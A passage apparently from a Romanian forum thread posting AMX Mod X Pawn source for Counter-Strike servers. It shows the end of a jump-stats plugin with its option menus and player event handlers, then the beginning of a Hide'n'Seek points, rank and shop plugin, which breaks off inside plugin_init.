		jheight_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JHEIGH_D", prefix);
	}
}
public show_jof(id)
{
	if(showjofon[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOF_E", prefix);
		showjofon[id]=true;
	}
	else 
	{
		showjofon[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOF_D", prefix);
	}
}
public show_early(id)
{
	if(failearly[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_E", prefix);
		failearly[id]=true;
	}
	else 
	{
		failearly[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_D", prefix);
	}
}
public multi_bhop(id)
{
	if(multibhoppre[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_E", prefix);
		multibhoppre[id]=true;
	}
	else 
	{
		multibhoppre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_D", prefix);
	}
}
public duck_show(id)
{
	if(showduck[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_E", prefix);
		showduck[id]=true;
	}
	else 
	{
		showduck[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_D", prefix);
	}
}
public lj_show(id)
{
	if(ljpre[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJPRE_E", prefix);
		ljpre[id]=true;
	}
	else 
	{
		ljpre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJPRE_D", prefix);
	}
}
public enable_sounds(id)
{
	if(uq_sounds)
	{
		if(enable_sound[id]==false) 
		{
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SOUND_E", prefix);
			enable_sound[id]=true;
		}
		else 
		{
			enable_sound[id]=false;
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D", prefix);
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D1", prefix);
}
public ShowedgeFail(id)
{
	if(Show_edge_Fail[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGEF_E", prefix);
		Show_edge_Fail[id]=true;
	}
	else 
	{
		Show_edge_Fail[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGEF_D", prefix);
	}
}
public Showedge(id)
{
	if(Show_edge[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGE_E", prefix);
		Show_edge[id]=true;
	}
	else 
	{
		Show_edge[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGE_D", prefix);
	}
}
public heightshow(id)
{
	if(height_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_FALLH_E", prefix);
		height_show[id]=true;
	}
	else 
	{
		height_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_FALLH_D", prefix);
	}
}
public ingame_st_stats(id)
{
	if(uq_istrafe)
	{
		if(kz_beam[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D1", prefix);
		}
		else
		{
			if(ingame_strafe[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_E", prefix);
				ingame_strafe[id]=true;
			}
			else 
			{
				ingame_strafe[id]=false;
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D", prefix);
			}
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D2", prefix);
	
}

public client_connect( id )
{
	oldljpre[id]=0;
	oldpre[id]=0;
	oldfail[id]=0;
	g_userConnected[id]=true;
	g_pBot[id]=false;
	
	static connectt[30];
	get_pcvar_string(kz_uq_connect, connectt, 30);
	
	format(connectt, 30, "_%s", connectt);

	if( contain(connectt, "a") > 0 )
		gHasColorChat[id] =true;
	else
		gHasColorChat[id] = false;
	if( contain(connectt, "b") > 0 )
		g_lj_stats[id] = true;
	else
		g_lj_stats[id] = false;
	if( contain(connectt, "c") > 0 )
		speedon[id]=true;
	else 
		speedon[id]=false;
	if( contain(connectt, "d") > 0 )
		showpre[id]=true;
	else
		showpre[id]=false;
	if( contain(connectt, "e") > 0 )
		streifstat[id]=true;
	else
		streifstat[id]=false;
	if( contain(connectt, "f") > 0 )
		kz_beam[id]=true;
	else
		kz_beam[id]=false;
	if( contain(connectt, "g") > 0 )
		kz_stats_pre[id]=true;
	else
		kz_stats_pre[id]=false;
	if( contain(connectt, "h") > 0 )
		failearly[id]=true;
	else
		failearly[id]=false;
	if( contain(connectt, "i") > 0 )
		multibhoppre[id]=true;
	else
		multibhoppre[id]=false;
	if( contain(connectt, "j") > 0 )
		showduck[id]=true;
	else
		showduck[id]=false;
	if( contain(connectt, "k") > 0 )
		ljpre[id]=true;
	else
		ljpre[id]=false;
	if( contain(connectt, "l") > 0 )
		Show_edge[id]=true;
	else
		Show_edge[id]=false;
	if( contain(connectt, "m") > 0 )
		Show_edge_Fail[id]=true;
	else
		Show_edge_Fail[id]=false;
	if( contain(connectt, "n") > 0 )
		enable_sound[id]=true;
	else
		enable_sound[id]=false;
	if( contain(connectt, "o") > 0 )
		ingame_strafe[id]=true;
	else
		ingame_strafe[id]=false;
	
	//for beta
	//ingame_strafe[id]=true;
	
	user_block[id][0]=uq_maxedge;
	user_block[id][1]=uq_minedge;
	min_prestrafe[id]=uq_min_pre;
	beam_type[id]=1;
	edgeshow[id]=true;	
	first_ground_bhopaem[id]=false;
	donehook[id]=false;
	OnGround[id]=false;
	serf_reset[id]=false;
	first_onground[id]=false;
	duckstring[id]=false;
	firstshow[id]=false;
	height_show[id]=false;
	Checkframes[id]=false;
	firstfall_ground[id]=false;
	h_jumped[id]=false;
	touch_ent[id]=false;
	ddafterJump[id]=false;
	ddstandcj[id]=false;
	UpcjFail[id]=false;
	slide_protec[id]=false;
	posibleScj[id]=false;
	x_jump[id]=false;
	ddforcj[id]=false;
	dropbhop[id]=false;
	ddnum[id]=0;
	hookcheck[id]=false;
	backwards[id]=false;
	ladderbug[id]=false;
	touch_somthing[id]=false;
	record_start[id]=0;
	duckbhop_bug_pre[id]=false;
	showtime_st_stats[id]=40;
	speedtype[id]=false;
	trigger_protection[id]=false;
	
	if(is_user_bot(id))
	{
		g_pBot[id]=true;
	}
	
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
}


public client_infochanged(id) {
	new name[65];
	
	get_user_info(id, "name", name,64); 
	
	if(!equali(name, g_playername[id]))
		copy(g_playername[id], 64, name);
}

public ResetHUD(id)
{
	if(is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id) )
	{
		if(firstshow[id]==false)
		{
			if( uq_airaccel==1 || uq_airaccel==100)
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL100", prefix);
			}
			else if( uq_airaccel==0 || uq_airaccel==10)
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_AIRACCEL10", prefix);
			}
			else 
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL", prefix,uq_airaccel);		
				
			firstshow[id]=true;
			
			if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SLIDE", prefix);
			}
		}
		
		firstfall_ground[id]=false;
		h_jumped[id]=false;
		
		ddafterJump[id]=false;
		UpcjFail[id]=false;
		slide_protec[id]=false;
		posibleScj[id]=false;
		x_jump[id]=false;
		ddforcj[id]=false;
		dropbhop[id]=false;
		ddnum[id]=0;
		donehook[id]=false;
		hookcheck[id]=false;
		backwards[id]=false;
		Checkframes[id]=false;
		first_ground_bhopaem[id]=false;
		touch_ent[id]=false;
		ladderbug[id]=false;
		touch_somthing[id]=false;
		ddstandcj[id]=false;
	}
	
}
public FwdPlayerSpawn(id)
{
	if( is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id))
	{
		if( !task_exists(id+434490, 0) )
			set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
			
		g_alive[id] = true;
		strafe_num[id]=0;
	}
}

public FwdPlayerDeath(id)
{
	if( task_exists(id, 0) )
		remove_task(id, 0);
		
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);
	
	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
	
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	g_alive[id] = false;
}

public client_disconnect(id)
{
	if(kz_sql == 1 || kz_sql == 2)
	{
		new tmp_str[12];
		num_to_str(g_sql_pid[id], tmp_str, 11);
		if(TrieKeyExists(JumpPlayers, tmp_str))
			TrieDeleteKey(JumpPlayers, tmp_str);
	}
	
	remove_beam_ent(id);
	
	player_admin[id]=false;
	g_pBot[id]=false;
	login[id]=false;
	g_userConnected[id]=false;
	OnGround[id]=false;
	g_alive[id]=false;
	
	
	if( task_exists(id, 0) )
		remove_task(id);
	
	firstshow[id]=false;
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
}
public reset_tops(id, level, cid)
{	
	if( !cmd_access(id, level, cid, 1) ) return PLUGIN_HANDLED;
	
	if(kz_sql == 0)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESET");
		server_print("%L",LANG_SERVER,"UQSTATS_RESET");
		
		TrieClear(JData);
		TrieClear(JData_Block);
	}
	else if(kz_sql == 1)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESETF");
		server_print("%L",LANG_SERVER,"UQSTATS_RESETF");
	}
		
	return PLUGIN_CONTINUE;
}
public Option(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU1");
	
	if(g_lj_stats[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11b");
	}
	
	if(gHasColorChat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12b");
	}
	
	if(speedon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13b");
	}
	
	if(showpre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14a");
		keys |= (1<<3);
	}
	else
	{
		keys |= (1<<3);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14b");
	}
	
	if(streifstat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15a");
		keys |= (1<<4);
	}
	else
	{
		keys |= (1<<4);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15b");
	}
	
	if(kz_beam[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16a");
		keys |= (1<<5);
	}
	else
	{
		keys |= (1<<5);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16b");
	}
	
	if(showduck[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17a");
		keys |= (1<<6);
	}
	else
	{
		keys |= (1<<6);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17b");
	}
	if(failearly[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18a");
		keys |= (1<<7);
	}
	else
	{
		keys |= (1<<7);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18b");
	}

	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUNEXT");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu1");	
}

public OptionMenu1(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			cmdljStats(id);
			Option(id);
			
		}
		case 2:
		{
			cmdColorChat(id);
			Option(id);
		}
		case 3:
		{
			show_speed(id);
			Option(id);
		}
		case 4:
		{
			show_pre(id);
			Option(id);
		}
		case 5:
		{
			streif_stats(id);
			Option(id);
		}
		case 6:
		{
			cmdljbeam(id);
			Option(id);
		}
		case 7:
		{
			duck_show(id);
			Option(id);
		}
		case 8:
		{
			show_early(id);
			Option(id);
		}
		case 9:
		{
			Option2(id);
		}

	}
	return PLUGIN_HANDLED;
}
public Option2(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2");
	
	if(multibhoppre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21b");
	}
	if(Show_edge[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22b");
	}
	if(Show_edge_Fail[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23b");
	}
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU24",user_block[id][1]);
	keys |= (1<<3);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU25",user_block[id][0]);
	keys |= (1<<4);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU26",min_prestrafe[id]);
	keys |= (1<<5);
	
	if(beam_type[id]==1)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27a");
		keys |= (1<<6);
	}
	else if(beam_type[id]==2)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27b");
		keys |= (1<<6);
	}
	
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BACK");
	keys |= (1<<7);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2NEXT");
	keys |= (1<<8);	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu2");
		
}

public OptionMenu2(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			multi_bhop(id);
			Option2(id);	
		}
		case 2:
		{
			Showedge(id);
			Option2(id);	
		}
		case 3:
		{
			ShowedgeFail(id);
			Option2(id);	
		}
		case 4:
		{
			user_block[id][1]=user_block[id][1]+10;
			if(user_block[id][1]>=user_block[id][0])
			{
				user_block[id][1]=uq_minedge;
			}
			Option2(id);	
		}
		case 5:
		{
			if(user_block[id][0]==uq_maxedge)
			{
				user_block[id][0]=user_block[id][1];
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE1",uq_maxedge);
			}
			user_block[id][0]=user_block[id][0]+10;
			Option2(id);	
		}
		case 6:
		{
			if(min_prestrafe[id]>=320)
			{
				min_prestrafe[id]=0;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE2");
			}
			min_prestrafe[id]=min_prestrafe[id]+20;
			Option2(id);	
		}
		case 7:
		{
			if(beam_type[id]==1)
			{
				beam_type[id]=2;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT1");
			}
			else
			{
				beam_type[id]=1;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT2");
			}
			Option2(id);	
		}
		case 8:
		{
			Option(id);	
		}
		case 9:
		{
			Option3(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public Option3(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3");
	
	if(enable_sound[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31b");
	}
	if(showjofon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32b");
	}
	if(height_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33a");
		keys |= (1<<2);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33b");
		keys |= (1<<2);
	}
	if(jofon[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34a");
		keys |= (1<<3);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34b");
		keys |= (1<<3);
	}
	if(jheight_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35a");
		keys |= (1<<4);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35b");
		keys |= (1<<4);
	}
	if(uq_istrafe)
	{
		if(ingame_strafe[id])
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36a");
			keys |= (1<<5);
		}
		else
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36b");
			keys |= (1<<5);
		}
		
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38",showtime_st_stats[id]/10);
	
		keys |= (1<<6);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU37");
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38F",showtime_st_stats[id]/10);
	}
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3BACK");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu3");
		
}
public OptionMenu3(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			enable_sounds(id);
			Option3(id);	
		}
		case 2:
		{
			show_jof(id);
			Option3(id);	
		}
		case 3:
		{
			heightshow(id);
			Option3(id);	
		}
		case 4:
		{
			trainer_jof(id);
			Option3(id);
		}
		case 5:
		{
			show_jheight(id);
			Option3(id);
		}
		case 6:
		{
			ingame_st_stats(id);
			Option3(id);
		}
		case 7:
		{
			if(showtime_st_stats[id]==200)
			{
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU3MAXSEC");
				showtime_st_stats[id]=0;
			}
			showtime_st_stats[id]=showtime_st_stats[id]+10;

			Option3(id);
		}
	
		case 9:
		{
			Option2(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public native_kz_get_configsdir(name[], len)
{
	param_convert(1);
	new lalin[64];
	get_localinfo("amxx_configsdir", lalin,63);
	return formatex(name, len, "%s/%s", lalin, KZ_DIR);
}

public plugin_end() 
{ 
	if(kz_sql == 1)
	{
		if(DB_TUPLE)
			SQL_FreeHandle(DB_TUPLE);
		if(SqlConnection)
			SQL_FreeHandle(SqlConnection);
		
		TrieDestroy(JumpPlayers);
	}
	else if(kz_sql == 0)
	{
		TrieDestroy(JData);
		TrieDestroy(JData_Block);
	}
}


sistem de puncte

Code: Select all

//	LAST EDIT ON >>>	05.04.2019 19:52

#pragma dynamic 32768

#include < amxmodx >
#include < amxmisc >
#include < cstrike >
#include < fakemeta >
#include <engine>
#include <fun>
#include < hamsandwich >

#define FVAULT
#if !defined FVAULT
#include < nvault >
new iVault
#else
#include < fvault >
new const g_VAULTNAME[] = "HnsPointsSystem";
#endif

#pragma tabsize 0


#define NEW_STYLE 1

#if NEW_STYLE == 1
new g_MenuX,arme1[33],arme2[33],arme3[33],respawn_on[33],accesari[33]

// my logs directory function
stock get_logsdir(output[], len) {
	return get_localinfo("amxx_logs", output, len);
}

//#define DEBUG

#define TASK_ID_REMOVE 14325

new gCaseSensitive;
#define IsCaseSensitive(%1)   (gCaseSensitive &   (1 << (%1 & 31)))
#define SetCaseSensitive(%1)   gCaseSensitive |=  (1 << (%1 & 31))
#define ClearCaseSensitive(%1) gCaseSensitive &= ~(1 << (%1 & 31))

// admin data stored
enum _:AdminData {
	Admin_Auth[44],
	Admin_Password[32],
	Admin_Access,
	Admin_Flags
};

// array holding admin data
new Array:gAdminData;
// auth key pointing to index of array
new Trie:gAuthIndex;
// size of array
new gNumAdmins;

// file where admins are loaded
new gAdminFile[125];

// kick command
new gKickCommand[125];
new bool:ea[33]=false

#if defined DEBUG
new gLogFile[65];

#define DebugLog(%1) log_to_file(gLogFile, %1)

new const gSeparator[] = "===========================================================";
#else
stock DebugLog(any:...) { }
stock gSeparator;
#endif
#else
new bool:respawn_on[33]=true
#endif


/*
const MAXPLAYERS = 32;
#define IsPlayer(%1)    (1<=%1<=MAXPLAYERS)*/

#define PLUGIN "HNS POINTS SYS"
#define VERSION "1.5x"


#define TASK_pentru	06091993


// |-- CC_ColorChat --|
enum Color
{
	NORMAL = 1, 		// Culoarea care o are jucatorul setata in cvar-ul scr_concolor.
	GREEN, 			// Culoare Verde.
	TEAM_COLOR, 		// Culoare Rosu, Albastru, Gri.
	GREY, 			// Culoarea Gri.
	RED, 			// Culoarea Rosu.
	BLUE, 			// Culoarea Albastru.
};

new TeamName[  ][  ] = 
{
	"",
	"TERRORIST",
	"CT",
	"SPECTATOR"
};
// |-- CC_ColorChat --|


new const g_szTag[ ] = "Hns#Points:";
/* Special Plugin Acces */
new const PluginSpecialAcces[ ][ ] =
{
	"eVoLuTiOn",
	"Triplu"
}

new g_szName[ 33 ][ 32 ],g_iUserCredits[ 33 ],iCredits,szFirstArg[ 32 ], szSecondArg[ 10 ],iPlayer,szArg[ 32 ];
new g_iCvarPTREnable,g_iCvarPTRMinutes,g_iCvarPTRCredits,g_iUserTime[ 33 ];
new g_iCvarEnable,g_iCvarKCredits,g_iCvarHECredits,g_iCvarKHCredits;



#define C_R1 150
#define C_R2 250
#define C_R3 350
#define C_R4 700
#define C_R5 2500
new const Prefix[][] =
{
"",//NU EDITA FMMMMMMMMMMMMMMM......
"Rank I",
"Rank II",
"Rank III",
"Rank IV",
"Rank V"
}
new Level[33],rounds
//new rounds2

#if NEW_STYLE!=1
new Menu,titlex[255]/*,menux[555]*/
new respawn_count1[33],respawn_count2[33],choosed1[33],choosed2[33],choosed3[33],choosed5[33],choosed4[33]

#define TITLE_RANKI "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y I"
#define TITLE_RANKII "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y II"
#define TITLE_RANKIII "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y III"
#define TITLE_RANKIV "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y IV"
#define TITLE_RANKV "\rHNS\w .\y PLAY ARENA\w .\r RO\w -\y Shop\r Rank\y V"



#define GOLD_AK "models/goldenhns/v_ak47.mdl"
new bool:gold_ak[33]
#endif

new bool:k1[33],bool:k2[33],bool:k3[33]

new text[512],spw[65],szPassword[35],g_Menu,bool:g_Password[33]=false,bool:have_speed[33],bool:have_gravity[33],roundsx=0

#if NEW_STYLE!=1
new bool:start_round_count[33]
#else
new start_round_count[33]
#endif



#define INFO_ZERO 0
#define NTOP 10
#define TIME 180.0

new toppoints[33]
new topnames[33][33]
new Data[64]


public plugin_init( )
{
	register_plugin( PLUGIN, VERSION, "Askhanar" );//edit by raiz0 for triplu
	
	register_clcmd( "say", "ClCmdSay" );
	register_clcmd( "say_team", "ClCmdSay" );
	
	register_clcmd( "puncte", "ClCmdCredits" );
	register_clcmd( "points", "ClCmdCredits" );
	
	register_clcmd( "amx_puncte", "ClCmdGiveCredits" );
	register_clcmd( "amx_takepuncte", "ClCmdTakeCredits" );
	
	RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );
	//register_forward( FM_ClientUserInfoChanged, "Fwd_ClientUserInfoChanged" );


	g_iCvarPTREnable = register_cvar( "pentru_enable", "1" );
	g_iCvarPTRMinutes = register_cvar( "pentru_minutes", "60" );//60 minute = 1 ora
	g_iCvarPTRCredits = register_cvar( "pentru_points", "50" );
	
	set_task( 1.0, "task_PTRFunction", TASK_pentru, _, _, "b", 0 );



	g_iCvarEnable = register_cvar( "pk_enable", "1" );
	g_iCvarKCredits = register_cvar( "pk_k_points", "15" );
	g_iCvarKHCredits = register_cvar( "pk_h_points", "30" );
	g_iCvarHECredits = register_cvar( "pk_he_points", "20" );
	
	register_event( "DeathMsg","ev_DeathMsg", "a")
	//RegisterHam(Ham_Killed, "player", "ev_DeathMsg",0);//1-after / 0-before
	//register_forward(FM_UpdateClientData, "fw_UpdateClientData_Post", 1)



	register_clcmd("ranks", "cmdRank")


#if NEW_STYLE !=1
	register_clcmd("amx_buy_vip", "buy_vip", ADMIN_USER, "<password>");
#endif

	register_clcmd( "say /shop", "ClCmdSaySHOP" );
	register_clcmd( "say_team /shop", "ClCmdSaySHOP" );
	
	register_event("HLTV", "event_new_round", "a", "1=0", "2=0")



   g_Menu = register_menuid("Knife Mod")
   register_menucmd(g_Menu, 1023, "knifemenu")
   
	register_clcmd( "say /knifepower", "ClCmdSayK" );
	register_clcmd( "say_team /knifepower", "ClCmdSayK" );
	register_clcmd( "say /knifes", "ClCmdSayK" );
	register_clcmd( "say_team /knifes", "ClCmdSayK" );
	register_clcmd( "say /knives", "ClCmdSayK" );
	register_clcmd( "say_team /knives", "ClCmdSayK" );

	register_clcmd("amx_buy_vipg1", "buy_vip_g1", ADMIN_USER, "<password>");

	RegisterHam( Ham_TakeDamage, "player", "Player_TakeDamage" );



#if NEW_STYLE == 1
   g_MenuX = register_menuid("Shop Mod")
   register_menucmd(g_MenuX, 1023, "shopmenu")

	if(!cvar_exists("amx_mode"))	register_cvar("amx_mode","1")
	if(!cvar_exists("amx_password_field"))	register_cvar("amx_password_field","_pw")
